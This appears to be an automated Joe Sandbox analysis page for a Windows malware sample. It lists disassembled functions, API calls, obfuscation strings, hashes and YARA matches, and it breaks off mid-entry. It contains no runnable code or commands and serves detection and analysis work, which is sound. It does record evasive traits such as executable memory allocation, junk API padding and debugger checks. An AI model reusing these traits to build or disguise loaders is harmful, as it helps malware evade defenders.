Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 2aee5cbfe9c514af69859770709501307b79265b25ca4eafbb69035b509ed08e
Instruction ID: 75113e2188c70a991e8d888149240b4032b5315f1d9df4596472a474e854e29a
Opcode Fuzzy Hash: 2aee5cbfe9c514af69859770709501307b79265b25ca4eafbb69035b509ed08e
Instruction Fuzzy Hash: FE110D102096C6CAF711CB2CEC5CB123B969B25708F04467992998B7B2D7BA0958D73E

Function 0040A800 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 0040A805

Part of subcall function 0040A820: GetStartupInfoW.KERNEL32(?,A485E736), ref: 0040A867
Part of subcall function 0040A820: _check_managed_app.LIBCMTD ref: 0040A89C
Part of subcall function 0040A820: __heap_init.LIBCMTD ref: 0040A8A6
Part of subcall function 0040A820: _fast_error_exit.LIBCMTD ref: 0040A8B4
Part of subcall function 0040A820: __mtinit.LIBCMTD ref: 0040A8BC
Part of subcall function 0040A820: _fast_error_exit.LIBCMTD ref: 0040A8C7
Part of subcall function 0040A820: __RTC_Initialize.LIBCMTD ref: 0040A8D9
Part of subcall function 0040A820: __amsg_exit.LIBCMTD ref: 0040A8F0
Part of subcall function 0040A820: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0040A902
Part of subcall function 0040A820: ___wsetargv.LIBCMTD ref: 0040A90C
Part of subcall function 0040A820: __amsg_exit.LIBCMTD ref: 0040A917
Part of subcall function 0040A820: __wsetenvp.LIBCMTD ref: 0040A91F
Part of subcall function 0040A820: __amsg_exit.LIBCMTD ref: 0040A92A
Part of subcall function 0040A820: __cinit.LIBCMTD ref: 0040A934
Part of subcall function 0040A820: __amsg_exit.LIBCMTD ref: 0040A949
Part of subcall function 0040A820: __wwincmdln.LIBCMTD ref: 0040A951

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$EnvironmentInfoInitializeStartupStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 1352616753-0
Opcode ID: f531b0b4c4615b780cca53589e0368a575a3c175001ff33ae6c18d0542cb96dd
Instruction ID: ed70b6e81957cda50b4a392f15521bd08989c43f4a95b48bd429ffa2a97a7c8e
Opcode Fuzzy Hash: f531b0b4c4615b780cca53589e0368a575a3c175001ff33ae6c18d0542cb96dd
Instruction Fuzzy Hash: FAA0023704474C26466433E72407A7EB65D88C477C795507BB72C165571C6DACE241EF

Function 021D9485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 021D94D6

Memory Dump Source

Source File: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, Offset: 021D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21d9000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 96f11acb15c9f5a0c9b321a3fe27df6845140c4b44d8ab92c6590de6555e8a34
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B4113C79A40208EFDB01DF98C985E99BBF5EF08350F0580A5F9489B361D371EA90DF80

Function 004093A0 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00091118,004098C6), ref: 004093A8

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ff9454cb075e55b61eaf74bedcf7a1d7503f788a195c64b11a8bfda6695e7c11
Instruction ID: 3998a24efde602f54aa8201ae31834cd22accfde2a0fde7a764eaf3e77e03432
Opcode Fuzzy Hash: ff9454cb075e55b61eaf74bedcf7a1d7503f788a195c64b11a8bfda6695e7c11
Instruction Fuzzy Hash: DFB092B45001409FE340AF64AE44B2536A8E744306F004031BA08851A1C77004408A29

Non-executed Functions

Function 00409610 Relevance: 115.8, APIs: 59, Strings: 7, Instructions: 346timethreadfileCOMMON

Download Yara Rule

APIs

__wremove.LIBCMTD ref: 00409626

Part of subcall function 0040A730: DeleteFileA.KERNEL32(?), ref: 0040A73A
Part of subcall function 0040A730: GetLastError.KERNEL32 ref: 0040A744
Part of subcall function 0040A730: __dosmaperr.LIBCMTD ref: 0040A760

_putc.LIBCMTD ref: 0040962F

Part of subcall function 0040A4E0: __CrtDbgReportW.LIBCMTD ref: 0040A53B
Part of subcall function 0040A4E0: __errno.LIBCMTD ref: 0040A54F
Part of subcall function 0040A4E0: __invalid_parameter.LIBCMTD ref: 0040A56D

__wrename.LIBCMTD ref: 00409638

Part of subcall function 0040A490: MoveFileA.KERNEL32(?,?), ref: 0040A49E
Part of subcall function 0040A490: GetLastError.KERNEL32 ref: 0040A4A8
Part of subcall function 0040A490: __dosmaperr.LIBCMTD ref: 0040A4C4

Part of subcall function 00409EE0: _doexit.LIBCMTD ref: 00409EED

GetBinaryTypeW.KERNEL32(00000000,?), ref: 00409680
GetConsoleAliasExesA.KERNEL32(?,00000000), ref: 0040968C
BuildCommDCBAndTimeoutsW.KERNEL32(vomejuxozuvisuweviw,?,?), ref: 004096B3
GetNumberFormatA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 004096C7
WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 004096E4
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 004096F3
FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 00409714
GetNamedPipeHandleStateA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409728
SetProcessShutdownParameters.KERNEL32(00000000,00000000), ref: 00409732
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0040973A
GetFileSizeEx.KERNEL32(00000000,?), ref: 00409747
OpenFileMappingW.KERNEL32(00000000,00000000,00000000), ref: 00409753
OpenWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 0040975F
SetFileApisToANSI.KERNEL32(?,?,?,?,00000000), ref: 00409765
CharToOemBuffW.USER32(00000000,00000000,00000000), ref: 004097B5
GetLastError.KERNEL32 ref: 004097B7
EnumSystemLocalesA.KERNEL32(00000000,00000000), ref: 00409813
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0040981B
DebugBreak.KERNEL32 ref: 0040981D
MoveFileWithProgressW.KERNEL32(nahipumoraxeyur,lulecaxitejewutubenopevinemezimevoxiv,00000000,00000000,00000000), ref: 00409833
GetCommState.KERNEL32(00000000,00000000), ref: 00409839
CreateMailslotW.KERNEL32(00000000,?,00000000,00000000), ref: 00409846
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?), ref: 00409857
GetConsoleAliasExesLengthW.KERNEL32 ref: 0040985D
SetComputerNameA.KERNEL32(tusidisipilujawudimu), ref: 00409868
GlobalGetAtomNameW.KERNEL32(00000000,00000000,00000000), ref: 00409874
AllocConsole.KERNEL32 ref: 0040987A
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409888
GetConsoleCP.KERNEL32 ref: 0040988E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00409896
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004098A6
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 004098DD
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0040991E
ConvertFiberToThread.KERNEL32 ref: 0040992D
DeleteCriticalSection.KERNEL32(?), ref: 00409934
GetThreadContext.KERNEL32(00000000,00000000), ref: 00409980
OpenMutexW.KERNEL32(00000000,00000000,jurayisotixaruyexarule), ref: 0040998B
WriteConsoleW.KERNEL32(001756BA,001756BA,001756BA,?,001756BA), ref: 004099B2
DebugBreak.KERNEL32(?,?,?,?), ref: 004099B8
LoadLibraryA.KERNEL32(ludiwesexexayonex), ref: 004099C3
lstrlenA.KERNEL32(001756BA), ref: 004099CA
EnumResourceTypesW.KERNEL32(001756BA,001756BA,001756BA), ref: 004099D3
SetEvent.KERNEL32(001756BA), ref: 004099DA
OutputDebugStringW.KERNEL32(001756BA), ref: 004099E1
ReadConsoleInputW.KERNEL32(001756BA,?,001756BA,?), ref: 004099F3
GetPrivateProfileIntW.KERNEL32(001756BA,001756BA,001756BA,001756BA), ref: 004099FD
CreateActCtxA.KERNEL32(?), ref: 00409A08
GetPrivateProfileStringW.KERNEL32(001756BA,001756BA,001756BA,001756BA,001756BA,001756BA), ref: 00409A14
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409A1A
CopyFileA.KERNEL32(001756BA,001756BA,001756BA), ref: 00409A23
InterlockedExchangeAdd.KERNEL32(?,001756BA), ref: 00409A2F
WaitForDebugEvent.KERNEL32(001756BA,001756BA), ref: 00409A37
SetConsoleScreenBufferSize.KERNEL32(00000000,?), ref: 00409A51
GetConsoleAliasExesLengthA.KERNEL32 ref: 00409A57
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00409A89
FreeLibraryAndExitThread.KERNEL32(00000000,00000000), ref: 00409A93

Strings

jurayisotixaruyexarule, xrefs: 00409982
nahipumoraxeyur, xrefs: 0040982E
tusidisipilujawudimu, xrefs: 00409863
lulecaxitejewutubenopevinemezimevoxiv, xrefs: 00409829
28B, xrefs: 004098ED
vomejuxozuvisuweviw, xrefs: 004096AE
ludiwesexexayonex, xrefs: 004099BE

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Console$File$Debug$AliasCreateErrorExesFreeLastLengthNameOpenOutputThreadWrite$BreakCharacterCommDeleteEnumEnvironmentEventInputLibraryMovePrivateProcessProfileSizeStateStringStringsSystem__dosmaperr$AdjustmentAliasesAllocApisAtomBinaryBoostBuffBufferBuildCharCompletionComputerContextConvertCopyCriticalExchangeExitFiberFillFindFormatGlobalHandleInterlockedLoadLocalesLockMailslotMappingModuleMountMutexNamedNextNumberParametersPipePointPortPriorityProgressReadReportResourceScreenSectionShutdownTimeTimeoutsTimerTypeTypesVolumeWaitWaitableWith__errno__invalid_parameter__wremove__wrename_doexit_putclstrlen
String ID: 28B$jurayisotixaruyexarule$ludiwesexexayonex$lulecaxitejewutubenopevinemezimevoxiv$nahipumoraxeyur$tusidisipilujawudimu$vomejuxozuvisuweviw
API String ID: 1513229072-646705529
Opcode ID: 9320da8530603e3644fe937bbfc7674368aa642465b36e3cd84b78aa139359e9
Instruction ID: 48defea99ce41f47138f0a0ba7da6efe1e13141f4877e9ff9e690e964261670b
Opcode Fuzzy Hash: 9320da8530603e3644fe937bbfc7674368aa642465b36e3cd84b78aa139359e9
Instruction Fuzzy Hash: 0CC19371544340ABE314AF60DE8AF6A77A8FB8C705F104439F74ABA2F1D7B458448B6E

Function 00408FF0 Relevance: 22.6, APIs: 15, Instructions: 114filetimeCOMMON

Download Yara Rule

APIs

VerLanguageNameA.KERNEL32(00000000,?,00000000), ref: 0040900E
SetDefaultCommConfigW.KERNEL32(00000000,00000000,00000000), ref: 00409019
ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 00409042
BuildCommDCBW.KERNEL32(00000000,?), ref: 00409095
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004090A7
GetCompressedFileSizeA.KERNEL32(00000000,?), ref: 004090B4
FindNextFileA.KERNEL32(00000000,?,774D3B10,00000000,774E4A40,774E2F80), ref: 004090CD
SetEvent.KERNEL32(00000000), ref: 004090D5
FreeResource.KERNEL32(00000000,774D3B10,00000000,774E4A40,774E2F80), ref: 004090E6
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 004090F6
GetVersionExW.KERNEL32(?), ref: 004090FD
SetLastError.KERNEL32(00000000), ref: 00409101
TerminateProcess.KERNEL32(00000000,00000000), ref: 00409107
GetTimeZoneInformation.KERNEL32(?), ref: 00409115
FillConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?,774D3B10,?,774D3B10,00000000,774E4A40,774E2F80), ref: 00409154

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: File$CharacterCommConsoleOutputVersion$BuildCompressedConfigCopyDefaultErrorEventFillFindFreeInfoInformationLanguageLastNameNextProcessReadResourceSizeTerminateTimeVerifyZone
String ID:
API String ID: 3196540602-0
Opcode ID: 398bfb617621054731c644b7146455104ee5f579f3aef2b8b3f4fabd36a2ac97
Instruction ID: 301f53f6ab5f39ac9bccc70936fb5ae45d1946fb848217b05077491c9172d68b
Opcode Fuzzy Hash: 398bfb617621054731c644b7146455104ee5f579f3aef2b8b3f4fabd36a2ac97
Instruction Fuzzy Hash: 46415371248344ABE320DB50DE45FAB73B9FBC8705F00882DF289A61E1D7749948CB2B

Function 0228F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0228F0A7
_wcsstr.LIBCMT ref: 0228F14E
_strstr.LIBCMT ref: 0228F3D6
_malloc.LIBCMT ref: 0228F526
_memset.LIBCMT ref: 0228F534
_strstr.LIBCMT ref: 0228F57A
_malloc.LIBCMT ref: 0228F6F5
_memset.LIBCMT ref: 0228F703
_free.LIBCMT ref: 0228F7B5
_free.LIBCMT ref: 0228F7C2

Strings

", xrefs: 0228F640

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 9d209c00ea49cd9954a72204d41a73cd1885219317ce974de6a95ee5d2726706
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 3D420471519381AFDB20EFA4CC48B9B7BE8BF45308F44052DF98997195DB74D109CBA2

Function 00408E50 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 112pipetimeCOMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNEL32(00000000,00000000,00000000,00000000,774C4FF0,774D1200,774CDFA0,774D18A0), ref: 00408E8D
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00408E99
LocalFileTimeToFileTime.KERNEL32(00000000,00000000,774C4FF0,774D1200,774CDFA0,774D18A0), ref: 00408EC4
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00408EE7
FindNextVolumeW.KERNEL32(?,00000000,00000000,00000020,?), ref: 00408F39
SetLocaleInfoA.KERNEL32(00000000,00000000,tepudey), ref: 00408F48
GetPrivateProfileIntA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00408F56

Strings

, xrefs: 00408EED
tepudey, xrefs: 00408F3F

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: EnumFileResourceTime$FindHandleInfoLocalLocaleNamedNamesNextPipePrivateProfileStateTypesVolume
String ID: $tepudey
API String ID: 529041443-2187597207
Opcode ID: 45efb75a296ccf05d7e6f2bea9bd64368bc3b351202158478bdf4534a69efcc3
Instruction ID: 3cce7ed36d116560cfaf783506cbf6434ae36ebaa51ed77989f2e82131349481
Opcode Fuzzy Hash: 45efb75a296ccf05d7e6f2bea9bd64368bc3b351202158478bdf4534a69efcc3
Instruction Fuzzy Hash: 4A411871248340AFD710DF58DD45B4AB7E4FB88705F00892DF695AB2E0D7B0E648CBAA

Function 0228A930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

<, xrefs: 0228B01B
x2Q, xrefs: 0228B1F6

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: fd7d0126c85078192f18462b3d12c8e0f9f86e18374b615978ba2e8446adf318
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: 47D2DF715293419BDB14FFA0D894B9BBBE6BF94308F00092DE485972D4EB71E509CF92

Function 022800D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: d4affa381de00611c0d63b5327794b373fd7aa10b540cdc14af52fc65571f02b
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 3E527D71D21209DBDF10EFE8C884BDEB7B5BF04308F148169D419A7298E775AA49CFA1

Function 0227E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 0227E72D
_wcsstr.LIBCMT ref: 0227E756
_memset.LIBCMT ref: 0227E784

Part of subcall function 022BFC0C: std::exception::exception.LIBCMT ref: 022BFC1F
Part of subcall function 022BFC0C: __CxxThrowException@8.LIBCMT ref: 022BFC34
Part of subcall function 022BFC0C: std::exception::exception.LIBCMT ref: 022BFC4D
Part of subcall function 022BFC0C: __CxxThrowException@8.LIBCMT ref: 022BFC62
Part of subcall function 022BFC0C: std::regex_error::regex_error.LIBCPMT ref: 022BFC74
Part of subcall function 022BFC0C: __CxxThrowException@8.LIBCMT ref: 022BFC82
Part of subcall function 022BFC0C: std::exception::exception.LIBCMT ref: 022BFC9B
Part of subcall function 022BFC0C: __CxxThrowException@8.LIBCMT ref: 022BFCB0

_wcsstr.LIBCMT ref: 0227EA0C
_memset.LIBCMT ref: 0227EE5C

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: b17cedd8374abaca815d408cb543b3443e71e72aaf756308e7c3e24994e235cd
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 0552FF71A1430ADFCF24CFA8C884BAEBBF5BF04304F1545A9E806AB285D7719945CFA1

Function 00414CA0 Relevance: 7.6, APIs: 5, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041AE3D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041AE54
UnhandledExceptionFilter.KERNEL32(00406BF0), ref: 0041AE5F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041AE7D
TerminateProcess.KERNEL32(00000000), ref: 0041AE84

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 83ebbbb0e22360647016a7dcd7afaf866b680efab4d321fc759991dd7ffcb469
Instruction ID: 240d211357b188b069e5ef38c46dee18b6111867068906a1daa546e5abcc3ad9
Opcode Fuzzy Hash: 83ebbbb0e22360647016a7dcd7afaf866b680efab4d321fc759991dd7ffcb469
Instruction Fuzzy Hash: CF2102B8800384DBC755DFA4FD84A443BB4BB48304F10523AE9289A372E7B464D0CF8E

Function 02280B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 7168396bcb5c2d1c40f7cdf1c50c0a6f5dd495fde11f8d2b4d1c115f09c1689c
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 57428B71D21209DBDF14EFE4C844BEEB7B5BF04308F244169D819A7294EB71AA19CFA1

Function 0227DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 7854618460d394913d8f2b3e7416c72a9a81aeb1efc55affe090205b99beef7f
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: DC526F70E14249DFDB10DFA4C884FAEBBB5BF49704F1481D8E909AB294DB74AD45CBA0

Function 022F22C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 022F291E

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 36811492ce43b80aa4d8eae7ee3e1a81637f4c2f31be9015a936e7dfb247dac3
